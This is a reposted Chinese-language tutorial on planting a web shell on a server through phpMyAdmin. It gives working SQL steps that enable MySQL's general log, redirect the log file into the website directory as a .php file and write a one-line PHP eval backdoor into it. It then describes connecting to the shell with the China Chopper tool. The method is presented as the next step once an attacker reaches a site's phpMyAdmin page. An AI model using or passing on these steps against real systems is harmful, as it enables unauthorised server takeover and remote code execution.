首頁  >  文章  >  資料庫  >  關於phpmyadmin新姿勢getshell

關於phpmyadmin新姿勢getshell

藏色散人
藏色散人轉載
2020-12-29 17:08:583203瀏覽

下面由phpmyadmin使用教學專欄來介紹phpmyadmin新姿勢getshell,希望對需要的朋友有幫助!

關於phpmyadmin新姿勢getshell

百度百科:phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優點在於因為phpMyAdmin跟其他PHP程式一樣在網頁伺服器上執行,但您可以在任何地方使用這些程式產生的HTML頁面,也就是遠端管理MySQL資料庫,方便的建立、修改、刪除資料庫及資料表。也可藉由phpMyAdmin建立常用的php語法,方便編寫網頁時所需的sql語法正確性。

通俗的講 其作用就是可以在web頁面方便的操作資料庫。

當我們得到一個網站的phpmyadmin頁面時,下一步要做的就是getshell。

可以透過寫入shell來提權,而我們需要滿足以下條件:

1.資料庫root權限

2.知道網站的實體路徑

#3.資料庫有寫入權限

透過  select '64d8a9f9d2660d1aa18735456c689d78' INTO OUTFILE '網站物理路徑' 寫入shell 

#本文主要講的是在條件3不滿足的情況下成功getshell。

 利用條件:MySQL 5.0

MySQL 5.0 的版本會自動建立日誌文件,那麼在服務運行的情況下修改全域變數也是可以變動檔案位置的,但是必須對產生日誌的目錄有可讀可寫的權限。

(Linux環境下可能會比較苛刻,因為網站目錄是個用戶,MySQL是另一個用戶,權限管控較為嚴格,主要取決於權限配置是否得當)

首先我們測試站點是否有寫權限

執行sql語句               SHOW VARIABLES LIKE 'secure_file_priv'

sql語句 SHOW VARIABLES LIKE 'secure_file_priv'  進行查詢尋找secure_file_priv

secure-file-priv特性
secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysql 不允許導入|匯出

  • 當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|匯出只能發生在/tmp/目錄下

  • 當secure_file_priv的值沒有特定值時,表示不對mysql 的導入|導出做限制

可以在mysql-ini檔案中設定其屬性

#經過測試,我們沒有寫入權限

 

然後再介紹兩個MySQL全域變數(general_log、general_log file

  1. general log 指的是日誌儲存狀態,總共有兩個值(ON/OFF)ON代表開啟OFF代表關閉。
  2. general log file 指的是日誌的儲存路徑。

我們可以透過將一句話木馬寫入mysql日誌中然後移動mysql日誌路徑到網站目錄下實現getshell

執行sql語句   SHOW VARIABLES LIKE 'general_log% '  進行模糊查詢

日誌預設關閉

我們執行sql語句    

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

#成功創建

 然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

以上是關於phpmyadmin新姿勢getshell的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除